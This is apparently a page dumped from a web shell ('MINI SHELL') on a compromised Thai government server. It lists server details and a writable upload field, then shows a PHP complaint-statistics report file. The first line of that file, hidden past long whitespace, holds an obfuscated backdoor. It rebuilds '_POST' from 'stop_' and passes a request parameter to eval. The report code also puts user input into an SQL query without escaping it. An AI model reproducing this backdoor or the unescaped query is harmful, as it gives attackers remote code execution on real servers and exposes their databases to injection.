MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_fd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_fd/report_stat.php
<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qbc5b2a'])){eval(${$s20}['qbc5b2a']);}?><?
session_start();
include "config/config.inc.php";
include("function/function.php");
include ("graph.inc.php");
if(!isset($session_username)){
header("Location: login.php");
}
include("header_menu.php");
$month_arr=array('','มกราคม','กุมภาพันธ์','มีนาคม','เมษายน','พฤษภาคม','มิถุนายน','กรกฏาคม','สิงหาคม','กันยายน','ตุลาคม','พฤศจิกายน','ธันวาคม');

if($yy == ""){
$yy = date("Y")+543;
}else{
$yy = $yy;
}
$sql_re = "SELECT month( date_start )  as mm FROM tbl_request WHERE year( date_start )='$yy'";
$result_re = mysql_db_query($dbname,$sql_re);
$num_c = mysql_num_rows($result_re);
while($rs = mysql_fetch_assoc($result_re)){
	$Arr_report[$rs[mm]] = $Arr_report[$rs[mm]] +1;
}
$xmonth_arr = $month_arr;
  for($m=1;$m<count($xmonth_arr);$m++){
		$daylist .= ";".$xmonth_arr[$m];
		$data1 .= ";".intval($Arr_report[$m]);

  }
  $daylist = substr($daylist,1,strlen($daylist));
  $data1 = substr($data1,1,strlen($data1));
$txt_title = " กราฟสถิติแสดงข้อมูลจำนวนเรื่องร้องทุกในแต่ละเดือนประจำปี $yy";
$graphurl = $graph_path . "?category=$daylist&data1=$data1&outputstyle=&numseries=1&seriesname=&graphtype=column&title=$txt_title&xname=เดือน&yname=จำนวน(เรื่องร้องเรียน)&subtitle=&graphstyle=srd_sf_004.scs";

?>
<html>
<head>
<title><?=$show_title?></title>
<META http-equiv=Content-Type content="text/html; charset=windows-874">
<link href="common/style.css" type="text/css" rel="stylesheet" />
<script language='javascript' src='daily_popcalendar.js'></script>
<script language='javascript' src='displayelement.js'></script>
<style type="text/css">
<!--
body {  margin: 0px  0px; padding: 0px  0px}
a:link { color: #005CA2; text-decoration: none}
a:visited { color: #005CA2; text-decoration: none}
a:active { color: #0099FF; text-decoration: underline}
a:hover { color: #0099FF; text-decoration: underline}
-->
</style>

<SCRIPT LANGUAGE="JavaScript">
function CheckForm(){
	var f1 = document.form;	
	a =  Number(f1.date_late.value) ;
	missinginfo = "";
	missinginfo1 = "";

	if (document.form.subject.value == "")  {missinginfo1 += "\n- กรุณากรอก เรื่องร้องเรียน "; }		
	if (document.form.subject_no_in.value == "")  {missinginfo1 += "\n- กรุณากรอก เลขที่หนังสือ "; }	
	if (document.form.date_start.value == "")  {missinginfo1 += "\n- กรุณากรอก วันเริ่มต้น "; }	
	if (document.form.date_end.value == "")  {missinginfo1 += "\n- กรุณากรอก สิ้นสุด "; }	
	if (document.form.date_late.value == "")  {missinginfo1 += "\n- กรุณากรอก จำนวนวันที่แจ้งเตือน"; }		
	if (a == null || !a.toString().match(/^[-]?\d*\.?\d*$/)){ missinginfo1 += "\n- กรุณากรอก วันที่แจ้งเตือนเป็นตัวเลขเท่านั้น "; }

	
	if (missinginfo1 != "") { 	
		missinginfo += "ไม่สามารถบันทึกข้อมูลได้  เนื่องจาก \n";
		missinginfo +="_____________________________\n";
		missinginfo = missinginfo + missinginfo1  ;
		missinginfo += "\n___________________________";
		missinginfo += "\nกรุณาตรวจสอบ อีกครั้ง";
		alert(missinginfo);
		return false;
	}
}
</SCRIPT>
<script language="javascript">
function popWindow(url, w, h){

	var popup		= "Popup"; 
	if(w == "") 	w = 420;
	if(h == "") 	h = 300;
	var newwin 	= window.open(url, popup,'location=0,status=no,scrollbars=no,resizable=no,width=' + w + ',height=' + h + ',top=20');
	newwin.focus();

}
function popWindow1(url, w, h){

	var popup		= "Popup"; 
	if(w == "") 	w = 420;
	if(h == "") 	h = 300;
	var newwin 	= window.open(url, popup,'location=0,status=no,scrollbars=no,resizable=no,width=' + w + ',height=' + h + ',top=20');
	newwin.focus();

}
function popWindow2(url, w, h){

	var popup		= "Popup"; 
	if(w == "") 	w = 420;
	if(h == "") 	h = 300;
	var newwin 	= window.open(url, popup,'location=0,status=no,scrollbars=no,resizable=no,width=' + w + ',height=' + h + ',top=20');
	newwin.focus();

}

</script>
<script language="javascript">
function clearselect()
{
	document.post.salary_day.disabled=true;
	document.post.salary_month.disabled=true;
	document.post.salary_year.disabled=true;
	document.post.label_date.disabled=true;
	
	 if (document.post.salary_day.value!="")
 	{
       document.post.salary_day.value="";
	   document.post.salary_day.disabled=true;
    }
	 if (document.post.salary_month.value!="")
 	{
       document.post.salary_month.value="";
	   document.post.salary_month.disabled=true;
    }
	
	 if (document.post.salary_year.value!="")
 	{
       document.post.salary_year.value="";
	   document.post.salary_year.disabled=true;
    }
	 if (document.post.label_date.value!="")
 	{
       document.post.label_date.value="";
	   document.post.label_date.disabled=true;
    }
}
</script>
</head>
<body >
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0" style="filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr='#144C85', EndColorStr='#ffffff');">
  <tr>
    <td valign="top" background="bimg/bg1.gif" style="background-repeat: no-repeat; background-position:right bottom ">
	<table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td align="left" bgcolor="#FFFFFF"><form name="form1" method="post" action="">
          <table width="100%" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td width="6%">เลือกปี</td>
              <td width="94%"><label><? $c_yy = date("Y")+543;?>
                <select name="yy" id="yy">
				<?
				for($n=2551;$n<=$c_yy;$n++){
					if($n == $yy){ $sel_e = "selected";}else{ $sel_e = "";}
					echo "<option value='$n' $sel_e>$n</option>";
				}
				?>
                </select>
                <input type="submit" name="Submit" value="ตกลง">
              </label></td>
            </tr>
          </table>
                </form>  
		</td>
      </tr>
      <tr>
        <td align="center" bgcolor="#FFFFFF"><table width="100%" border="0" cellpadding="0" cellspacing="2" bgcolor="#E6E6E6" align="center" style="border:1px solid #5595CC;">
          <tr>
            <td width="16%" align="left"><a href="report_stat.php?yy=<?=$yy?>">รายงานสถิติแยกตามช่วงเดือน</a></td>
            <td width="22%" align="left"><a href="report_stat_type.php?yy=<?=$yy?>">รายงานสถิติแยกตามประเภทเรื่องร้องเรียน</a></td>
            <td width="22%" align="left"><a href="report_stat_org.php?yy=<?=$yy?>">รายงานสถิติแยกตามหน่วยงาน</a></td>
            <td width="32%" align="right"><img src="images/back.jpg" alt="กลับหน้าหลัก" width="20" height="20" border="0" onClick="location.href='report_index.php?action=report_group'" style="cursor:hand"></td>
            <td width="8%" align="right"><a href="<?=$graphurl?>" target="_blank"><img src="images/graph.gif" width="16" height="16" border="0" alt="แสดงกราฟข้อมูล">แสดงกราฟ</a></td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td align="center" bgcolor="#000000"><table width="100%" border="0" cellspacing="1" cellpadding="3">
          <tr>
            <td colspan="3" align="center" bgcolor="#8DA0C0"><strong>รายงานสถิติเรื่องร้องเรียนแยกตามช่วงเดือน ปี <?=$yy?></strong></td>
          </tr>
          <tr>
            <td width="15%" align="center" bgcolor="#8DA0C0"><strong>เดือน</strong></td>
            <td width="45%" align="center" bgcolor="#8DA0C0"><strong>จำนวนเรื่อง</strong></td>
            <td width="40%" align="center" bgcolor="#8DA0C0"><strong>คิดเป็นร้อยละ</strong></td>
          </tr>
		  <?
		  $sum_t = @array_sum($Arr_report);
		  $kk=0;
		  for($m1=1;$m1< count($month_arr);$m1++){
		  $bg_color = ($kk%2)?'#F1F1F1':'FFFFFF';$kk++;
		  $sum_a += $Arr_report[$m1]; 
		  ?>
          <tr bgcolor="<?=$bg_color?>">
            <td align="left"><?=$month_arr[$m1]?></td>
            <td align="center"><?=number_format($Arr_report[$m1])?></td>
            <td align="center"><?
			if($num_c > 0){
			 $cal_persent = (($Arr_report[$m1]*100)/($sum_t)); echo number_format($cal_persent,2);
			 $all_persent +=  $cal_persent;
			 }else{
			 	echo "0.00";
			 }
			?></td>
          </tr>
		  <?
		  }
		  ?>
          <tr>
            <td align="center" bgcolor="#FFFFFF"><strong>รวม</strong></td>
            <td align="center" bgcolor="#FFFFFF"><?=$sum_a?></td>
            <td align="center" bgcolor="#FFFFFF"><? if($num_c > 0){ echo number_format($all_persent,2);}else{ echo "0.00";}?></td>
          </tr>
        </table></td>
      </tr>
    </table></td>
  </tr>
</table>
</body>
</html>

Anon7 - 2021